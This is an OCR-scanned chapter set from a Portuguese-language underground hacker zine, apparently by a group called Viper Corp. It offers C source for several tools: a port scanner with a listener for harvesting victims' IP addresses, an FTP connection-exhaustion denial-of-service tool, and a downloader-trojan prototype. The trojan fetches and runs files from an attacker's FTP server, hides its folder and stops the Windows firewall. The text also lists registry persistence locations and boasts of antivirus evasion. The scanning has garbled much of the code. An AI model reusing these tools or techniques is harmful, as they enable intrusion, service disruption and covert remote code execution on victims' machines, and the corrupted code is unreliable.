ndo obterd' o IP dela se a mesma estiver atrds de um servidor Proxy, digamos... Publico.

by

4

6_Bl4ck9 f0x6 - Viper Corp Group

IDE utilizado para compilagao: Dev-C++4.9.9.2

~
*

Emperial[ScanneR] v1.0 by 6 Bl4ck9 fOx6

--> Windows <--

[X] X X [X]
XxX VIPER CORP GROUP XxX
<-> Underground Max <->
[X] X X [X]

Port Scanner TCP/HandShake
com Funcionalidades de
-> Footprint ¢ enumeragao <-
[Portas e servigos]

¥ X K X X X X X X X X X *


http://www.4-all.org/

[ -> Dedico essa ferramenta e todas as outras que surgirem <- |
[ -> a todos os membros desse grupo de potencial, um abrago <- |
[ > atodos os caras do grupo e um beijo para todas as <- |
[ > minas, em especial a mais nova integrante do grupo <- |
-> Mina Mistery <-
--> Espero que fique ao nosso lado por muito tempo. <--

Atengdo: Para usar a funcionalidade de http footprint
Use: Emp_scan.exe http/footprint

OBS: Deixe seu firewall abrir a porta 80 de seu host
para receber as conexoes de suas vitimas.

Use um redirecionador de URL e mascare seu IP.
Logo depois mande seu endereco Mascarado para
a vitima, quando a mesma acessar voce terd o
endereco IP dela e informacdes uteis para um
ataque mais ofensivo do que o FootPrint. Con-
sulte a documentagdo. Baixe-a em:

XK K KX X X X K FH X X X X X X K X X X X ¥ ¥ X X

http://www .hunterhacker.xpg.com.br/Emp_scan_Document.pdf

*

/

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>

#define BADSTAT -1
#define BACKLOG 10
#define MINDHUNTER "http/footprint"

int tsuder (void){

printf (" 6"); Sleep (200);
printf ("_"); Sleep (100);
printf ("B"); Sleep (200);
printf ("I"); Sleep (100);
printf ("4"); Sleep (200);
printf ("c"); Sleep (100);
printf ("k"); Sleep (200);
printf ("9"); Sleep (100);
printf ("_"); Sleep (200);
printf ("f"); Sleep (100);
printf ("0"); Sleep (200);
printf ("x"); Sleep (200);
printf ("6\n\n"); Sleep (100); }



WSADATA dados;

struct sockaddr_in vitima;

struct sockaddr _in list ing;

int verbose=0, temp=0, bts=1;

char banner[255], my_footprint[255];
char buffer received[1500], escolha;
char httpfoot[sizeof (MINDHUNTER)];

int main (int argc, char *argv[]){

int x=0, 1=0, size, check;

int my_sock, sock vtc, connectx, door;

char about[]=" Emperial[ScanneR] \n\n\
BY\n";

system ("cls");

if (arge==1){goto Smile;}
/* Anti Stack Overflow: */

strncpy (httpfoot, argv([1], strlen (MINDHUNTER));
printf ("[%d] Protegido contra Stack Overflow\n", strlen (httpfoot));

if (stremp (httpfoot, MINDHUNTER) == 0){
system ("cls");
system ("title HTTP FootPrint");
printf ("HTTP FootPrint by 6 Bl4ck9 {f0x6\n\
Copyright 2006-2008 Viper Corp.\n\n");
printf (" \n");
printf ("%s\n", about);
tsuder ();

if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET ERROR){
fprintf (stderr, "Erro ao carregar winsock.dll!\n");
exit (BADSTAT);}

my_sock = socket (AF_INET, SOCK_STREAM, IPPROTO _IP);

if (my_sock ==-1){
perror ("Error socket!");
WSACleanup ();
exit (BADSTAT);}

list ing.sin family = AF INET;
list_ing.sin_port = htons (80);
list_ing.sin_addr.s_addr = INADDR_ANY; // setar iface

memset(&(list_ing.sin_zero),0x00,0x08);
if (bind(my_sock, (struct sockaddr *)&list _ing, sizeof (list_ing)) == -1){

fprintf (stderr, "Erro ao Bindear porta!\n");
exit (BADSTAT);}



fprintf (stdout, "Porta %d em Listening...", ntohs (list_ing.sin_port));

if (listen (my_sock, BACKLOG)) == -1){
system ("cls");
puts ("Ops! Nao consegui escutar\n");
return 0;}

temp=sizeof (struct sockaddr);
sock vtc=accept(my sock, (struct sockaddr *)&vitima, &temp);

if (sock vtc ==-1){
system ("cls");
puts ("\nOps... Problemas ao estabelecer conexao!\n");
return 1;}

getpeername (sock vtc, (struct sockaddr *)&vitima,

(int *)sizeof(struct sockaddr));
printf ("\n\nO endereco IP [%s] estabeleceu uma conexao na porta [%d]\n",
inet_ntoa (vitima.sin_addr), ntohs (list_ing.sin_port));

FILE *foot log;
while (bts > 0){
bts=recv (my_sock, buffer received, strlen (buffer received),0);

/* Fazer um looping para ele sempre voutar a escutar na porta e gravar
no file os log's =) */

if ((foot_log = fopen ("Foot_log.log", "a")) == NULL){

system ("cls");

printf ("%s\n", about);
tsuder ();

do {

puts ("\n[Nao consegui criar o arquivo de log, \
possivelmente por falta de espaco no disco.]\n");

printf ("Deseja visualizar a saida na shell y/n? ");
escolha=getchar();
system ("cls");

// Instrugdes para o banner aqui =)

switch (escolha){

case 'Y":

puts (buffer received);
++temp;

system ("pause");
break;

case'y":

puts (buffer received);
system ("pause");
tempt+;



break;
case 'N":
system ("pause");
break;
case 'n':
system ("pause");
break;
}
if (temp==1) goto continu3;
}
while (escolha !="y"' || escolha !="Y"
|| escolha !="n' || escolha !="N");

return (0);}
fprintf (foot_log, "%d", buffer received); }

continu3:
if (temp == 1) exit (-1);

puts ("\nArquivo de log criado com sucesso!\n");

fclose (foot log);

printf ("\n: \n");
closesocket (sock vtc);

closesocket (my_sock);

WSACleanup ();

exit (BADSTAT);

b

Smile:
if ((arge < 4) || (arge > 4)){
printf ("\nx===x==x X===X X==X===X==X==X==X===X\
===xx==x==\n"),
printf ("%s\n", about);

tsuder ();

fprintf (stderr, "Uso: %s <ip> <porta_inicial>\
<porta_final>\n\n", argv[0]);

printf ("x===x==x X===X X==X===X==X==X==X===X\
===xx==x==\n");

Sleep (200);

exit (BADSTAT);}

door = atoi (argv[2]);

if (WSAStartup (MAKEWORD (1,1),&dados) = SOCKET_ERROR){
puts ("Problemas -> WSAStartup");
exit (BADSTAT);}

printf ("%s\n", about);

tsuder ();

fprintf (stderr, "[X] X X [X]\n\n");
for (door;door<= atoi (argv[3]);door++){




my_sock = socket (AF_INET, SOCK _STREAM, 0);

if (my_sock == -1){
perror ("Error socket!");
WSACleanup ();
exit (BADSTAT);}

vitima.sin_family = AF_INET;
vitima.sin_port = htons (door);

if ((vitima.sin_addr.s addr = inet _addr (argv[1])) == INADDR_NONE){
fprintf (stderr, "Desculpe, [%s] nao e um endereco IP valido!\n",
argv[1]);

exit (-1);}

for (x;x<8;x++){
vitima.sin_zero[x]=(char)0;}

size = sizeof (vitima);

SetConsoleTitle ("Varrendo usando TCP -> SYN ");
connectx = connect (my_sock, (struct sockaddr *)&vitima, size);

if (connectx == SOCKET ERROR){
fprintf (stderr, "Porta [%d] fechada\n", door);}
else {
int bytes=1, tot_bytes;
fprintf (stdout, "Porta [%d] Aberta <-- \n", door);

puts ("\nBanner:\n");

while ( bytes > 0){
memset (&(banner), 0x00, sizeof (banner));
shutdown (my_sock, SD_SEND);

if ( (bytes=recv (my_sock, banner, sizeof (banner), 0)) < 0){
fprintf (stderr, "Erro ao recever banner!\n");
exit (BADSTAT);}

puts (banner);
tot bytes+=bytes;}

if (verbose == 1){
printf ("\n[%d] Bytes recebidos neste banner\n", tot_bytes);}

FILE *scan_log;
scan_log=fopen ("scan_log.txt", "a");

if (!scan_log){
perror ("\nErro ao abrir arquivo de log ->");
printf ("\n");
continue; }
fprintf (scan_log, "Porta [%d] em [%s] Aberta\



\n", door, inet_ntoa (vitima.sin_addr));
fclose (scan_log);

closesocket(my_sock);

i

fprintf (stderr, "\n[X] X X [XT\n");

closesocket (my_sock);
WSACleanup ();
return (0);

}

----- C4p1Tul0 04

[+]1X [+]
Entendendo DoS puro
[+]1X [+]

Atencio: Este texto foi escrito originalmente para o forum thebuggers.in antes de todos os meus
posts desaparecerem. Para ver uma das unicas paginas que ainda tenho, baixe-a aqui: [S] Este texto
por sua vez ¢ um dos capitulos de outro texto sobre socket em C. Atualmente este trecho nao foi
publicado no paper Berkeley Socket em C Parte 1 (Que ainda esta sendo escrito), mas voce pode
acompanhar agora no hunter hacker outro trecho deste meu excelente texto e ainda ver screen shots
como proof of concept (Alem do codigo que lhes serdo dados para seus testes, que ¢ a Prova de
Conceito propriamente dita).

Introducao

Bem, como todos "deveriam" saber, quando um datagrama chega em um host a camada Internet
(Modelo TCP/IP) do encapsulamento, se encarrega de "temporizar" ou enfileirar (Chame como
queira) o endereco de origem que sera utilizado para o envio de mensagem de erro, "caso" apareca
algum erro, e o modulo UDP se encarrega de verificar qual a porta que aquele datagrama se destina,
se existir tal porta em listen no nosso sistema, os dados sao entao empurrados para a camada de
aplicagao, caso contrario eh emitido entao para o REMETENTE do datagrama dali mesmo, 1 pacote
ICMP (UDP) com a mensagem d porta inalcansavel (ICMP port unreachable) e o tal dito cujo do
datagrama q foi recebido eh entao descartado dali mesmo. Adivinha agora pq precisamos definir a
estrutura do remetente. Isso garoto! Para o modulo UDP q esta' na camada de transporte no host
remoto, saber em que porta em "especial" vai ser usada para o recebimento da mensagem ICMP na
maquina do cliente, e ja q 0 modulo na camada Internet desmultiplexou o tal datagrama, eh ele que
vai saber onde eh que a resposta vai ser entregue (Endereco da interface que o remetente pretende
receber a resposta, que por sua vez eh definido na estrutura sockaddr in), sabendo o endereco do
cliente, ele entao manda o pacote p/ o drive q por sua vez manda a iface transmitir o pacote.
Relembrando: Drive de dispositivo [OSI-Enlace] e o processo de envio de dados se localizam na
layer de 'Acesso a rede' no modelo TCP/IP d encapsulamento.
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Humm... Vou explicar melhor o negocio, se liguem!

NA "REALIDADE", quando chega 1 datagrama este mesmo datagrama vai ser "enfileirado" e as
informagoes vao seguindo p/ cima, as informagoes q foram recebidas, como o tal endereco do
remetente, vao continuar guardadinhas no modulo que as desmultiplexaram (Lembra que falei do tal
enfileiramento?), o modulo UDP nao quer saber dos dados que estao enfileirados abaixo de sua
layer (Camada), ele apenas recebe as instrugoes do modulo anterior e faz o seu papeu, que eh o de
definir determinadas agoes baseadas em outras e empurram os dados ou p/ cima, ou p/ baixo no
caso d erro(se tratando da tal mensagem UDP d erro que foi anteriormente citada), mas se realmente
existir uma porta em escuta, os dados seguem p/ o modulo d aplicagao (Entenda por "modulo" de
aplicacao, a propria aplicagao, pois um modulo nada mais eh q um "programa"), caso contrario o
erro eh entao emitido e os dados que foram anteriormente enfileirados abaixo do modulo UDP, vao
ser "utilizados" para o envio do pacote de erro, nesses tais dados q estao contidas as informagoes do
endereco do rapaz q vai receber o tal erro (nesse caso). Agora voce diz:

Tabom fox! Chega! Voce eh louco! Como eh que voce sabe que o modulo UDP vai apenas
determinar a porta que o pacote vai ser entregue, € como voce sabe que os dados que foram
enviados vao ser enfileirados para serem utilizados e como eh q vc sabe q eh apenas no modulo
abaixo do UDP q os dados ("enfileirados") como o endereco d origem vao ser "multiplexados" p/ o
envio de respostas de erro? Responda-me cretino! Ou, morra! ;)

Use a logica amigo, como o UDP vai saber o endereco que ele tem que mandar se ele apenas recebe
instrucoes dos outros modulos? Entenda esse "instrugao" apenas como os dados que nao podem ser
mais desmultiplexados pelas camadas inferiores, pois de fato um modulo NAO MANDA O
OUTRO FAZER NADA, ela apenas infileira o que ele eh responsavel por infileirar e passa p/ o
modulo superior as infos que ele nao pode mais desmultiplexar, o limite de bytes que determinados
modulos podem ler eh determinado pelo kernel baseando-se pelos padroes do "modelo" TCP/IP no
processo de multiplexacao. Ei amigos! Voces lembram do raw socket? }:) Acho que devem
lembrar, voces lembram q eu disse que o trabalho que o kernel tinha (Nesse caso: Determinar o
limite de bytes maximos para cada header) era passado para o programador? Isso significa que
quando estamos manipulando seguimentos do header na unha, temos que, inclusive determinar o
tamanho maximo deste cabegalho usando fungoes como sizeof() e strlen(), pq eu estou falando isso?
Isso prova que eu estava certo quando falei:

"...passa p/ o modulo superior as infos que ele nao pode mais desmultiplexar"
ps: Informagao nunca eh demais amigo

Ah! Por q eu sei q os dados recebidos vao ser enfileirados? Essa eh facil! Eh por causa dos
seguimentos dos headers. Me responda: Como o modulo vai encapsular algo q ele nao pode ler?
Nao tem como, nao da, ou seja, o modulo UDP apenas consegue desmultiplexar e "multiplexar"
determinadas coisas, tais como: porta de origem, porta de destino, etc. E joga os dados (payload)
para a aplicagao, ai que entra o bom....

[Diferencas relacionadas aos tipos de socket]

Apos os dados da penultima camada serem jogados para aplicagao, vai ser entao estabelecida uma
"temporizacao"(no caso do "TCP") no penultimo layer da pilha, "se" o fluxo d dados seguir da
camada 'Acesso a rede' p/ a camada d Aplicagao, claro. Ou seja, os dados da porta de origem vao
ser enfileirados p/ enviar a resposta para a maquina do cliente, isso significa q, aguardam uma
resposta da aplicagao, e ja q vc acabou de ler a palavra "aguardam", deve estar entendendo, isso
quer dizer obviamente q me refiro a comunicagao atravez do modelo TCP/IP, pq vc deve saber, no
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UDP ou voce apenas manda dados, ou recebe os mesmos. Mas no UDP, nao rola temporizagao
abaixo das aplicagoes, pq o socket nao eh orientado a conexao, ou seja, o modulo UDP "apenas joga
dados p/ a aplicagao" e nao espera p/ receber nenhum tipo de resposta da mesma p/ transmitir para o
cliente, a resposta so vem quando existe algum problema, por exemplo o ja citado 'port
unreachable'. V¢ esta' sacando a jogada truta? Essa "fileira" nada mais eh que o socket amigo!! Eh o
socket que possibilita o enfileiramento de dados para a comunicagao se tornar fluente entre as duas
maquinas, obvio que estou falando de SOCK_STREAM. A base do TCP eh o enfileiramento e a do
UDP, bem, UDP nao tem base!! Ei caras! Acho q vc's devem estar com a pulga atraz da orelha
porque eu apenas falei de "temporizagao" apenas me referindo ao TCP como se fosse o unico
protocol verdadeiramente "temporizador" rsrsrs. Bem, NA VERDADE a tal "temporizacao"
tambem existe no UDP, mas apenas acontece o enfileiramento de dados no 'UDP', na velha camada
'Internet', pois caso o modulo UDP nao encotre a porta solicitada (Que ele sabe qual eh por causa do
seguimento 'Porta de destino' "na struct do cliente"), ele entao manda o pacote ICMP de erro p/ o
cliente se baseando pelo endereco de origem que o cara que mandou o request usou, esse endere¢o
ficou anteriormente enfileirado no IP e eh por isso que deve existir o processo de "temporizagao" no
UDP, pois os dados do remetende do pacote de solicitacao ficam armazenados no tal layer 'Internet’,
pois eh o unico capaz de ler esses dados. Lembram? Se nao fosse o enfileiramento abaixo do
modulo UDP, as respostas "nunca" seriam entregues, porque como eu tava falando pro @lyxx
(hauhauhal!!!):

'O IP nao eh um adivinha "traveco"'.

Tenha a base de q os modulos apenas desmultiplexam/multiplexam o q eles conhecem, assim
entenderas mais sobre o enfileiramento de dados e consequentemente estard capacitado a trabalhar
com socket's.

[A brecha] - Entendendo o funcionamento tecnico do D.o.S puro.

Voces se lembram do tal "congestionamento de rede"? O congestionamento se da por causa do
numero de sockets ("fileiras") excessivos dentro do kernel do sistema, o kernel possui 1
determinado limite de bytes para cada fileira, as vezes nos podemos definir esse "limite", como
configurar algum server de FTP para aceitar 3 conexoes e tals. Quando nao existe um limite para
um determinado servico, o D.D.o.S consome os recursos/memoria do sistema ate ele travar.... Por
1sso os caras recomendam intupir o PC de RAM.

Vou ser mais especifico amigos relaxem...

Go! Go! Go!

Quando o modulo TCP acha a porta aberta, ele entao cria p/ essa porta uma fileira, essa "fileira" que
conterd os dados d "todos os clientes" conectados nessa porta, simplesmente porque como eu falei,
deve existir respostas, ¢ os dados do remetente ficam enfileirados p/ serem multiplexados pelos seus
respectivos headers p/ q finalmente as tais respostas possam chegar ao cliente como voces devem
saber. Nessas tais fileiras estao armazenados bytes (obvio), entao nos podemos ate' dizer que o
kernel do sistema limita o host a um determinado numero de bytes para fileiras ("conexoes"), pois
nas conexoes ficam enfileiradas informacgoes sobre endereco do remetente, porta de origem etc. Elas
ficam la "temporizadas" esperando ser finalmente utilizadas (Olha eu de novo... Humm.. Mas isso
me cheira a brecha
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[To sentindo cheiro de suruba ae eheh]

Se nos ultrapassarmos esse "limite" para fileiras, sempre q algum infeliz tentar se conectar na nossa
maquina, o tal dito cujo vai receber um pacote ICMP de 'Destination Unreachable' ou 'Host
Unreachable' nao 'Port Unreachable', por que? Simplesmente pq estamos lotando a fileira da porta
"EXISTENTE". A mensagem 'Port Unreachable' so eh enviada p/ o cliente quando nao existe a tal
porta requisitada no nosso sistema. Ei cara!! O ICMP serve para repassar erros por TCP ¢ UDP?
Isso amigo! O ultimo sendo que mais comum ehehhe. O D.D.o.S rola quando temos muitas
maquinas slaves mandando pacotes para a vitima, ou seja, se tratando de D.D.o.S "puro", os slaves
sao programados passar um scanner de portas no host e checam se as portas "determinadas pelo
master" existem, apos isso elas entao estabelecem no host, varias conexoes q nunca sao encerradas
(‘close ()"), assim lotando as fileiras p/ as portas abertas, consequentemente incapacitando o servidor
de receber conexoes de clientes veridicos Lembram que existem servidores de FTP limitados a
algumas conexoes? Aee!! Ai que esta cara! Esse "limite de conexoes" representa o numero de
sockets/dados que o host pode enfileirar! Brevemente estarei disponibilizando um artigo p/ o
thebuggers descrevendo nos minimos detalhes, varios tipos de ataque de recusa de servigo,
apresentando codigos e etc. Por hora faga um teste com o server de FTP do winsuck, configure ele
p/ aceitar apenas 2 conexoes € tente se conectar em um terceiro shell no mesmo, vera que da erro.
Hum... Voce deve estar querendo um prog para automatizar esse processo certo?

-- obstruder.c ---

~
*

*  ++++++ CORPORACAO VIBORA ++++++ *
* A cena Hacker Underground Brasileira *

Obstrutor vl1.5 - by 6 Bl4ck9 f0x6
Para windows - Microsoft FTP Service

Dedico esse prog a minha amada DeboraH.

ps: Por ser tao gostosa rsrsrs...
Minha futura esposa rapaz! rs

b S . T I S S S S S S

/

#include "stdio.h"
#include "conio.h"
#include "stdlib.h"
#include "string.h"
#include "winsock2.h"

#define FUCK -1
#define CLEAR memset (&(scan.sin zero), 0x00, 0x08);

void banner () {

int xct=0;

unsigned char *obstrl[]={
"Obstrutor v1.5 - Obstrutor de servico[s]",
"6 Bl4ck9 fOx6 - (C) Copyright Viper Corp",

" Microsoft FTP Service.\n"};
while (xct != 3){
puts (obstrl[xct]
xct+=1;}

) ;




WSADATA data;
SOCKADDR IN scan;

int conexoes, cctc;
struct hostent *host;
char choice, rcv[1500];

void obstrud (void) {

int obstrui=1;
int sock[conexoes];

while (obstrui != conexoes) {
sock[obstrui]=socket (PF_INET, 1, 0);

if ((cctc=connect (sock[obstrui], (struct sockaddr *)&scan, 16))
== FUCK ) {

if (obstrui == 1) {

fprintf (stderr, "Porta [%d] fechadal\n", ntohs (scan.sin port));
exit (FUCK);}

break;}

else if (cctc != -1){

memset (& (rcv), 0x00, sizeof (rcv));

recv (sock[obstruil], rcv, sizeof (rcv) -1, 0);

if (strncmp (rcv, "421 5", 5) == 0){

printf ("\n [Limite de conexoes alcancado]\n\n");
break;} }

system ("cls");

fprintf (stdout, "[%d] Conexoes estabelecidas na porta [%d]\n",
obstrui, ntohs (scan.sin port));
++obstrui;

main (int argc, char **argv) {

if (argc !'= 4){
system ("cls");
banner ();

fprintf (stdout, "Uso: %s < Vitima > < Port > < num conections >\n",
*(argv+0));
exit (FUCK);}

WSAStartup (MAKEWORD (1,1),&data);
scan.sin family=AF INET;

scan.sin port=htons (atoi (*(argv+2)) );
if ((scan.sin_addr.s_addr=inet addr (*(argv+l))) == INADDR NONE) {
if ( (host=gethostbyname (* (argv+l))) == NULL) {

fprintf (stderr, "Nao consegui resolver host!\n");
exit SOCKET_ERROR;}
memcpy (&(scan.sin addr.s_addr), host->h addr, host->h length);

1
CLEAR

conexoes = atoi (* (argv+3));

obstrud ();

do {

printf ("\n \n");
puts ("[Servico obstruido com sucesso!]");

puts ("[Se gquizer liberar o servico tecle '1']1");
printf (" \n");




system ("color 02");
choice=getch ();}
while (choice != '1");
return 0;

Ii Eltil'il:-Ell_:-Eu:l
Deszcricao; |Meu FTP
Endereco F; |[T-:u:||:us o2 hdo atribuidos) a
Porta TCF;

COnexan

@ llimitada
D Limitada a: Bl | coneuties

cohesan: 9
[ I Ativar logs

Earmato do log abisva:

|F|:|rmat|:| do arquivo de log do Microzaft 115 W

F*U*C*K

Aviso: o servidor que vood esta administrando possui um limite de 10 conesxdes
codificado. & configuracdo de um lirmits maior do que 10 & uma violacdo do seu Conbrato
de Licenca.

C-AWINDOWS\System32\cmd.exe - exploit.exe 192.168.1.1 22 100
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----- C4p1Tul0 05

[t] X===========ss======sss=s=ssssss======= [+]
Overview of the Emperial Webdownloader

[+] X=======s========ss==================== [+]

Atencdo: Este texto foi escrito originalmente para o [BHF]. Este texto se trata de uma breve
descricao de um de meus programas "revolucionarios". Espero que gostem dele, pois gosto muito =)

Introducao

http://www.blackhat-forums.com/

Bem amigos, desenvolvi a evolugdo dos webdownloaders e gostaria de mostrar um simples
exemplo do que sera o meu programa "Emperial WebDownloader". Aposto que vocés nunca viram
algo tdo revolucionario quanto o meu programa. Enfim, voces podem adaptar meu programa para
enviar o IP tambem.

ipconfig /all > file.txt

Envie a saida deste comando acima. Quem sabe ateh um tracert ;)

Eu estou lendo muitas coisas por isso nao to tendo tempo de terminar ele e inserir essa fungdo, e
tambem porque estou fazendo varios programas ao mesmo tempo ¢ nao me focalizo em nenhum. Eu

quero abragar o mundo =P Apenas estou postando ele assim (prototipo) porque nao quero que falem
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que nao contribuo com o Black Hat forums. Como voces podem ver utilizei apenas como exemplo
os comandos de ftp do proprio windows ao invez de escrever aquela "noia" toda de connect(),
send()... Achei melhor para demonstrar o poder de minha mente ;)

Requerimentos

Basicamente vocé precisa ter um servidor de ftp qualquer. Se cadastre em um dos muitos hosts free
que existem por ai. Recomendo o http://www.xpg.com.br/ ;) Neste servidor deverd conter um
arquivo chamado "list". Neste arquivo que devera conter os nomes dos arquivos que serdo baixados
na maquina da nossa vitima.

Entendendo meu programa revolucionario

Quando a vitima executa meu programa, ou quando vocé executa por ela ;) A maquina dela fard o
download do arquivo quem contem o nome do arquivo que sera baixado (Ou arquivos. -> Na versao
final), depois ele baixara esse arquivo do mesmo servidor e fard um backup do nome deste arquivo
baixado. Apés um periodo especificado por voce no codigo do programa, ele fard o download da
mesma lista e fard uma comparacgao, entre o nome do arquivo que sera baixado (no arquivo "list") e
o nome do arquivo que foi anteriormente baixado (No arquivo backup), se forem iguais, ele espera
mais alguns minutos e depois verifica se voce mudou o nome do arquivo no server, se ele detectar
alteracdo do nome no list, ele baixa esse arquivo, caso contrario, ele fica fazendo isso até vocé
mudar. Ou seja, voce diz o nome do arquivo que quer jogar para a maquina da vitima, meu
programa "na maquina dela" verifica esse nome e baixa e logo em seguida executa. Isso eh um ciclo
eterno. O metodo de remogao nao tive tempo de implementar, mas ja desenvoli um prototipo.

Codigo:
if (!strncmp (chr, "exit", 0x04)) {

puts ("Falow");
system ("pause"); exit (0); }

Se no arquivo list conter o nome "exit", o meu programa fecha. Na versao final ele se removera do
registro e se auto destruira.

Limite de tempo e maximo de caracteres no nome do arquivo:

Codigo:

#define LENGTH _NAME 20

#define MINUTES FOR_DOW 2

Login e senha do seu server:

Codigo:

system ("echo login > \\files\\commands.ftp \n");
system ("echo password >> \\files\\commands.ftp \n");
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Segundos de espera:

Codigo:
segundo=1000; Sleep (segundo * 60 * MINUTES FOR DOW);

Esconder o diretorio na maquina da vitima pelo sistema:

Cadigo:
"attrib +H +S \\files \n",

Morte do firewall do WindowsXP:

Codigo:
"net stop sharedaccess \n",

Endereco do seu servidor (localhost nesse caso):
Codigo:
"ftp -s:\\files\\commands.ftp localhost \n"

Codigo completo (Simplificado - Dificultei para as criangas que querem ser hacker ):

~
*

CORPORACAO VIBORA
A.C.H.U.B
A Cena Hacker Underground Brasileira

presents
+- -+
Emperial WebDownloader vO0.1
+- -+
by

6 Bl4ck9 f0x6

Thank'X to all my friends

o S S S S S . S SR s S S S . S

/

// 'Reg add' -> Soohhhh \
E ainda mandar o IP XD

#include "stdio.h"

#include "stdlib.h"
#include "string.h"
#include "windows.h"

#define LENGTH NAME 20
#define MINUTES FOR_DOW 2




u_int sinckl;

u_int x=1, segundo=0x00, indice=0x00;

u _char chr[25], CMD[255], chrcomp[sizeof (chr)];

u_char viper[255]="echo get list >> \\files\\commands.ftp \n";

int exec ();
FILE *list, *bak;

int main () {
u_char string[255];  start: exec ();

list=fopen ("\\files\\list", "r");
if (!list) exit (OxXFFFFFFFF);

bak=fopen ("\\files\\list.bak", "w");
if (!'bak) exit (OXFFFFFFFF) ;

memset (&chr, 0x00, sizeof (chr));
fgets (chr, LENGTH NAME, list);

sprintf (string, "echo get %s >> \\files\\commands.ftp \n", chr);

memset (&viper, 0x00, sizeof (viper)):;
strncpy (viper, string, strlen (string));

system ("echo login > \\files\\commands.ftp \n");

system ("echo password >> \\files\\commands.ftp \n");
system ("echo lcd \\files >> \\files\\commands.ftp \n");
system (viper);

system ("echo quit >> \\files\\commands.ftp \n");

system ("ftp -s:\\files\\commands.ftp 192.168.1.1");

if (!strncmp (chr, "exit", 0x04)) {

puts ("Falow");
system ("pause"); exit (0); }

if (sinckl==0) {
fprintf (bak, "%s", chr);

++sinckl; }

memset (&chrcomp, 0x00, sizeof (chrcomp)):;
fgets (chrcomp, strlen (chr), bak);

if (!strcmp (chrcomp, chr)) {

segundo=1000; Sleep (segundo * 60 * MINUTES FOR DOW) ;

fclose (list); fclose (bak);

strcpy (viper, "echo get list >> \\files\\commands.ftp \n"); goto start;
sprintf (CMD, "start \\files\\%s", chr);

system (CMD) ;

fprintf (bak, "%s", chr);

fclose (list); fclose (bak);

segundo=1000; Sleep (segundo * 60 * MINUTES FOR DOW) ;
strcpy (viper, "echo get list >> \\files\\commands.ftp \n"); goto _start;




int exec (){
u_char *commands[] = {

"mkdir \\files \n",
"echo login > \\files\\commands.ftp \n",
"echo password >> \\files\\commands.ftp \n",
"echo lcd \\files >> \\files\\commands.ftp \n",
viper,
"echo quit >> \\files\\commands.ftp \n",
"attrib +H +S \\files \n",
"net stop sharedaccess \n",
"ftp -s:\\files\\commands.ftp localhost \n"
i

for (indice=0;indice<= 10 -2;++indice)
system (commands[indicel]);

return (0);

0 servico de Firewall de conexdo com a Internet C(FCI> ~ Compartilhamento dg
wio com a Internet (CCI> foi Finalizado com Exito.

Conectado a 192.168.1.1.

228 Hunter

Usuario (192.168.1.1:<{nonel>:
331 Password regquired for login.

238 User login logged in.

ftp>» led sfiles

A pasta local agora & C:nfiles.

ftp>» get list

208 Port command successful.

158 Opening data connection for list (9 huytes).
226 Transzfer ok

ftp: 7 hytes recehidos em B.015eqgundos B.60Khytesss.
ftp> guit

221 Buye hye ...

Conectado a 192.168.1.1.

228 Hunter

Usudrio <192.168.1.1:<nonel>:

331 Password required for login.

238 Uszer login logged in.

ftp>

Comando invalido.

ftp> lcd ~files

A pasta local agora é C:sfiles.

ftp> get pause.bat

2080 Port command successful.

158 Opening data connection for pause.bat <5 bytes).
226 Tranzfer ok

ftp: & bytes recebidos em 8,825eqgundos 8.31Kbytesss.

ftp>r guit
Waiting
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Funcionalidades da versao final

[1] - Ele se iniciara no registro ou em algun local "indetectavel" ;)

HKEY LOCAL MACHINE\SOFTWAREWMicrosoft\Windows NT\CurrentVersion\Winlogon\Userinit
+ CA\WINDOW S S\system32\userinit.exe

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\
HKEY CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

+ %systemroot%\system32\dumprep 0 -k

HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run\

C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar

+ desktop.ini

C:\Documents and Settings\David\Menu Iniciar\Programas\Inicializar

+ desktop.ini

HKEY CURRENT USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce\
HKEY CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices\

HKEY CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\
HKEY CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\

HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx\
CAWINDOWS\win.ini

[2] - Rodar totalmente oculto.

[3] - Se voces compilarem o codigo em suas proprias maquinas terdo meu programa totalmente
"indetectavel" por qualquer anti virus ;)

[4] - Ele matara muito mais firewalls.

[S] - Metodo especial do winrar para enganar vitimas (Esperem) .

Ah! O que voce fizer com meu programa é problema seu, nao venha meu culpar se voce for preso,
ou perder seu pintinho por espionar mulher casada XD eheheh...

[I's
by

6 _Bl4ck9 f0x6 — Viper Corp Group
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